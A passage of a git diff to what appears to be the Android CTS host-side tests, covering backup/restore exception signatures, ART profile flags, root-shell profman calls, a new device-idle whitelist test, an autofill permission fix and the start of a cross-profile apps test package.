@@ -62,6 +56,7 @@
             "CtsBackupRestoreAnyVersionNoRestoreApp.apk";
 
     @After
+    @Override
     public void tearDown() throws Exception {
         super.tearDown();
 
@@ -157,21 +152,21 @@
     }
 
     private void installRestoreAnyVersionApp()
-            throws DeviceNotAvailableException, FileNotFoundException {
+            throws DeviceNotAvailableException, TargetSetupError {
         installPackage(RESTORE_ANY_VERSION_APP_APK, "-d", "-r");
 
         checkRestoreAnyVersionDeviceTest("checkAppVersionIsOld");
     }
 
     private void installNoRestoreAnyVersionApp()
-            throws DeviceNotAvailableException, FileNotFoundException {
+            throws DeviceNotAvailableException, TargetSetupError {
         installPackage(NO_RESTORE_ANY_VERSION_APK, "-d", "-r");
 
         checkRestoreAnyVersionDeviceTest("checkAppVersionIsOld");
     }
 
     private void installNewVersionApp()
-            throws DeviceNotAvailableException, FileNotFoundException {
+            throws DeviceNotAvailableException, TargetSetupError {
         installPackage(RESTORE_ANY_VERSION_UPDATE_APK, "-d", "-r");
 
         checkRestoreAnyVersionDeviceTest("checkAppVersionIsNew");
diff --git a/hostsidetests/compilation/assets/primary.prof.txt b/hostsidetests/compilation/assets/primary.prof.txt
index 0a8bded..fd55262 100644
--- a/hostsidetests/compilation/assets/primary.prof.txt
+++ b/hostsidetests/compilation/assets/primary.prof.txt
@@ -1,103 +1,103 @@
 Landroid/cts/compilation/CompilationTargetActivity;
-Landroid/cts/compilation/CompilationTargetActivity;->m0()I
-Landroid/cts/compilation/CompilationTargetActivity;->m1()I
-Landroid/cts/compilation/CompilationTargetActivity;->m2()I
-Landroid/cts/compilation/CompilationTargetActivity;->m3()I
-Landroid/cts/compilation/CompilationTargetActivity;->m4()I
-Landroid/cts/compilation/CompilationTargetActivity;->m5()I
-Landroid/cts/compilation/CompilationTargetActivity;->m6()I
-Landroid/cts/compilation/CompilationTargetActivity;->m7()I
-Landroid/cts/compilation/CompilationTargetActivity;->m8()I
-Landroid/cts/compilation/CompilationTargetActivity;->m9()I
-Landroid/cts/compilation/CompilationTargetActivity;->m10()I
-Landroid/cts/compilation/CompilationTargetActivity;->m11()I
-Landroid/cts/compilation/CompilationTargetActivity;->m12()I
-Landroid/cts/compilation/CompilationTargetActivity;->m13()I
-Landroid/cts/compilation/CompilationTargetActivity;->m14()I
-Landroid/cts/compilation/CompilationTargetActivity;->m15()I
-Landroid/cts/compilation/CompilationTargetActivity;->m16()I
-Landroid/cts/compilation/CompilationTargetActivity;->m17()I
-Landroid/cts/compilation/CompilationTargetActivity;->m18()I
-Landroid/cts/compilation/CompilationTargetActivity;->m19()I
-Landroid/cts/compilation/CompilationTargetActivity;->m20()I
-Landroid/cts/compilation/CompilationTargetActivity;->m21()I
-Landroid/cts/compilation/CompilationTargetActivity;->m22()I
-Landroid/cts/compilation/CompilationTargetActivity;->m23()I
-Landroid/cts/compilation/CompilationTargetActivity;->m24()I
-Landroid/cts/compilation/CompilationTargetActivity;->m25()I
-Landroid/cts/compilation/CompilationTargetActivity;->m26()I
-Landroid/cts/compilation/CompilationTargetActivity;->m27()I
-Landroid/cts/compilation/CompilationTargetActivity;->m28()I
-Landroid/cts/compilation/CompilationTargetActivity;->m29()I
-Landroid/cts/compilation/CompilationTargetActivity;->m30()I
-Landroid/cts/compilation/CompilationTargetActivity;->m31()I
-Landroid/cts/compilation/CompilationTargetActivity;->m32()I
-Landroid/cts/compilation/CompilationTargetActivity;->m33()I
-Landroid/cts/compilation/CompilationTargetActivity;->m34()I
-Landroid/cts/compilation/CompilationTargetActivity;->m35()I
-Landroid/cts/compilation/CompilationTargetActivity;->m36()I
-Landroid/cts/compilation/CompilationTargetActivity;->m37()I
-Landroid/cts/compilation/CompilationTargetActivity;->m38()I
-Landroid/cts/compilation/CompilationTargetActivity;->m39()I
-Landroid/cts/compilation/CompilationTargetActivity;->m40()I
-Landroid/cts/compilation/CompilationTargetActivity;->m41()I
-Landroid/cts/compilation/CompilationTargetActivity;->m42()I
-Landroid/cts/compilation/CompilationTargetActivity;->m43()I
-Landroid/cts/compilation/CompilationTargetActivity;->m44()I
-Landroid/cts/compilation/CompilationTargetActivity;->m45()I
-Landroid/cts/compilation/CompilationTargetActivity;->m46()I
-Landroid/cts/compilation/CompilationTargetActivity;->m47()I
-Landroid/cts/compilation/CompilationTargetActivity;->m48()I
-Landroid/cts/compilation/CompilationTargetActivity;->m49()I
-Landroid/cts/compilation/CompilationTargetActivity;->m50()I
-Landroid/cts/compilation/CompilationTargetActivity;->m51()I
-Landroid/cts/compilation/CompilationTargetActivity;->m52()I
-Landroid/cts/compilation/CompilationTargetActivity;->m53()I
-Landroid/cts/compilation/CompilationTargetActivity;->m54()I
-Landroid/cts/compilation/CompilationTargetActivity;->m55()I
-Landroid/cts/compilation/CompilationTargetActivity;->m56()I
-Landroid/cts/compilation/CompilationTargetActivity;->m57()I
-Landroid/cts/compilation/CompilationTargetActivity;->m58()I
-Landroid/cts/compilation/CompilationTargetActivity;->m59()I
-Landroid/cts/compilation/CompilationTargetActivity;->m60()I
-Landroid/cts/compilation/CompilationTargetActivity;->m61()I
-Landroid/cts/compilation/CompilationTargetActivity;->m62()I
-Landroid/cts/compilation/CompilationTargetActivity;->m63()I
-Landroid/cts/compilation/CompilationTargetActivity;->m64()I
-Landroid/cts/compilation/CompilationTargetActivity;->m65()I
-Landroid/cts/compilation/CompilationTargetActivity;->m66()I
-Landroid/cts/compilation/CompilationTargetActivity;->m67()I
-Landroid/cts/compilation/CompilationTargetActivity;->m68()I
-Landroid/cts/compilation/CompilationTargetActivity;->m69()I
-Landroid/cts/compilation/CompilationTargetActivity;->m70()I
-Landroid/cts/compilation/CompilationTargetActivity;->m71()I
-Landroid/cts/compilation/CompilationTargetActivity;->m72()I
-Landroid/cts/compilation/CompilationTargetActivity;->m73()I
-Landroid/cts/compilation/CompilationTargetActivity;->m74()I
-Landroid/cts/compilation/CompilationTargetActivity;->m75()I
-Landroid/cts/compilation/CompilationTargetActivity;->m76()I
-Landroid/cts/compilation/CompilationTargetActivity;->m77()I
-Landroid/cts/compilation/CompilationTargetActivity;->m78()I
-Landroid/cts/compilation/CompilationTargetActivity;->m79()I
-Landroid/cts/compilation/CompilationTargetActivity;->m80()I
-Landroid/cts/compilation/CompilationTargetActivity;->m81()I
-Landroid/cts/compilation/CompilationTargetActivity;->m82()I
-Landroid/cts/compilation/CompilationTargetActivity;->m83()I
-Landroid/cts/compilation/CompilationTargetActivity;->m84()I
-Landroid/cts/compilation/CompilationTargetActivity;->m85()I
-Landroid/cts/compilation/CompilationTargetActivity;->m86()I
-Landroid/cts/compilation/CompilationTargetActivity;->m87()I
-Landroid/cts/compilation/CompilationTargetActivity;->m88()I
-Landroid/cts/compilation/CompilationTargetActivity;->m89()I
-Landroid/cts/compilation/CompilationTargetActivity;->m90()I
-Landroid/cts/compilation/CompilationTargetActivity;->m91()I
-Landroid/cts/compilation/CompilationTargetActivity;->m92()I
-Landroid/cts/compilation/CompilationTargetActivity;->m93()I
-Landroid/cts/compilation/CompilationTargetActivity;->m94()I
-Landroid/cts/compilation/CompilationTargetActivity;->m95()I
-Landroid/cts/compilation/CompilationTargetActivity;->m96()I
-Landroid/cts/compilation/CompilationTargetActivity;->m97()I
-Landroid/cts/compilation/CompilationTargetActivity;->m98()I
-Landroid/cts/compilation/CompilationTargetActivity;->m99()I
-Landroid/cts/compilation/CompilationTargetActivity;->m100()I
-Landroid/cts/compilation/CompilationTargetActivity;->m101()I
\ No newline at end of file
+SHLandroid/cts/compilation/CompilationTargetActivity;->m0()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m1()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m2()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m3()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m4()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m5()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m6()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m7()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m8()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m9()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m10()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m11()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m12()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m13()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m14()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m15()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m16()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m17()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m18()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m19()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m20()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m21()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m22()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m23()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m24()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m25()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m26()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m27()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m28()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m29()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m30()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m31()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m32()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m33()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m34()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m35()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m36()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m37()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m38()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m39()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m40()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m41()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m42()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m43()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m44()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m45()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m46()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m47()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m48()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m49()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m50()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m51()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m52()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m53()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m54()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m55()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m56()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m57()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m58()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m59()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m60()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m61()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m62()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m63()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m64()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m65()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m66()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m67()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m68()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m69()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m70()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m71()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m72()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m73()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m74()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m75()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m76()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m77()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m78()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m79()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m80()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m81()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m82()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m83()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m84()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m85()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m86()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m87()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m88()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m89()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m90()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m91()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m92()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m93()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m94()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m95()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m96()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m97()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m98()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m99()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m100()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m101()I
\ No newline at end of file
diff --git a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
index 1f5d669..591dcb4 100644
--- a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
+++ b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
@@ -274,19 +274,15 @@
         executePush(apkFile.getAbsolutePath(), targetPathApk, targetDir);
         assertTrue("Failed to push APK from ", doesFileExist(targetPathApk));
         // Run profman to create the real profile on device.
-        try {
-            String pathSpec = executeSuShellAdbCommand(1, "pm", "path", APPLICATION_PACKAGE)[0];
-            pathSpec = pathSpec.replace("package:", "");
-            assertTrue("Failed find APK " + pathSpec, doesFileExist(pathSpec));
-            executeSuShellAdbCommand(
+        String pathSpec = executeSuShellAdbCommand(1, "pm", "path", APPLICATION_PACKAGE)[0];
+        pathSpec = pathSpec.replace("package:", "");
+        assertTrue("Failed find APK " + pathSpec, doesFileExist(pathSpec));
+        executeSuShellAdbCommand(
                 "profman",
                 "--create-profile-from=" + targetPathTemp,
                 "--apk=" + pathSpec,
                 "--dex-location=" + pathSpec,
                 "--reference-profile-file=" + targetPath);
-        } catch (Exception e) {
-            assertEquals("", e.toString());
-        }
         executeSuShellAdbCommand(0, "chown", owner, targetPath);
         // Verify that the file was written successfully
         assertTrue("failed to create profile file", doesFileExist(targetPath));
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index c2557ef..e732f81 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -39,7 +39,6 @@
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
-import android.util.Log;
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/hostsidetests/deviceidle/Android.mk b/hostsidetests/deviceidle/Android.mk
new file mode 100644
index 0000000..e73d70f
--- /dev/null
+++ b/hostsidetests/deviceidle/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsDeviceIdleHostTestCases
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+
+LOCAL_CTS_TEST_PACKAGE := android.deviceidle
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/deviceidle/AndroidTest.xml b/hostsidetests/deviceidle/AndroidTest.xml
new file mode 100644
index 0000000..1e75e27
--- /dev/null
+++ b/hostsidetests/deviceidle/AndroidTest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS Content host tests">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsDeviceIdleHostTestCases.jar" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/hostsidetests/deviceidle/src/com/android/cts/deviceidle/DeviceIdleWhitelistTest.java b/hostsidetests/deviceidle/src/com/android/cts/deviceidle/DeviceIdleWhitelistTest.java
new file mode 100644
index 0000000..df16a81
--- /dev/null
+++ b/hostsidetests/deviceidle/src/com/android/cts/deviceidle/DeviceIdleWhitelistTest.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceidle;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import org.junit.Assume;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Tests that it is possible to remove apps from the system whitelist
+ */
+public class DeviceIdleWhitelistTest extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String DEVICE_IDLE_COMMAND_PREFIX = "cmd deviceidle sys-whitelist ";
+    private static final String RESET_SYS_WHITELIST_COMMAND = "cmd deviceidle sys-whitelist reset";
+    private static final String SHOW_SYS_WHITELIST_COMMAND = DEVICE_IDLE_COMMAND_PREFIX;
+
+    private List<String> mOriginalSystemWhitelist;
+    protected IBuildInfo mCtsBuild;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        getDevice().executeShellCommand(RESET_SYS_WHITELIST_COMMAND);
+        mOriginalSystemWhitelist = getSystemWhitelist();
+        if (mOriginalSystemWhitelist.size() < 1) {
+            LogUtil.CLog.w("No packages found in system whitelist");
+            Assume.assumeTrue(false);
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        getDevice().executeShellCommand(RESET_SYS_WHITELIST_COMMAND);
+    }
+
+    public void testRemoveFromSysWhitelist() throws Exception {
+        final String packageToRemove = mOriginalSystemWhitelist.get(0);
+        getDevice().executeShellCommand(DEVICE_IDLE_COMMAND_PREFIX + "-" + packageToRemove);
+        final List<String> newWhitelist = getSystemWhitelist();
+        assertFalse("Package " + packageToRemove + " not removed from whitelist",
+                newWhitelist.contains(packageToRemove));
+    }
+
+    public void testRemovesPersistedAcrossReboots() throws Exception {
+        for (int i = 0; i < mOriginalSystemWhitelist.size(); i+=2) {
+            // remove odd indexed packages from the whitelist
+            getDevice().executeShellCommand(
+                    DEVICE_IDLE_COMMAND_PREFIX + "-" + mOriginalSystemWhitelist.get(i));
+        }
+        final List<String> whitelistBeforeReboot = getSystemWhitelist();
+        Thread.sleep(10_000); // write to disk happens after 5 seconds
+        getDevice().reboot();
+        Thread.sleep(5_000); // to make sure service is initialized
+        final List<String> whitelistAfterReboot = getSystemWhitelist();
+        assertEquals(whitelistBeforeReboot.size(), whitelistAfterReboot.size());
+        for (int i = 0; i < whitelistBeforeReboot.size(); i++) {
+            assertTrue(whitelistAfterReboot.contains(whitelistBeforeReboot.get(i)));
+        }
+    }
+
+    private List<String> getSystemWhitelist() throws DeviceNotAvailableException {
+        final String output = getDevice().executeShellCommand(SHOW_SYS_WHITELIST_COMMAND).trim();
+        final List<String> packages = new ArrayList<>();
+        for (String line : output.split("\n")) {
+            final int i = line.indexOf(',');
+            packages.add(line.substring(0, i));
+        }
+        return packages;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
index cf6b6e8..711f984 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
@@ -28,7 +28,7 @@
 
         <service
             android:name=".SimpleAutofillService"
-            android:permission="android.permission.BIND_AUTOFILL" >
+            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
             <intent-filter>
                 <action android:name="android.service.autofill.AutofillService" />
             </intent-filter>
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl
index bc8d3d3..938ee07 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2017 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
new file mode 100644
index 0000000..fca48d3
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsCrossProfileAppsTests
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES = \
+	android-support-v4 \
+	ctstestrunner \
+	android-support-test \
+	legacy-android-test \
+	truth-prebuilt \
+	ub-uiautomator
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
new file mode 100644
index 0000000..79093d6
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.crossprofileappstest">
+
+    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="25"/>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".MainActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name=".NonMainActivity" android:exported="true"/>
+
+        <activity android:name=".NonExportedActivity" android:exported="false">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.crossprofileappstest"
+                     android:label="Launcher Apps CTS Tests"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml
new file mode 100644
index 0000000..877d890
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <TextView
+        android:id="@+id/user_textview"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+    />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
new file mode 100644
index 0000000..3ade25a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertNotNull;
+
+import android.content.Context;
+import android.content.pm.crossprofile.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
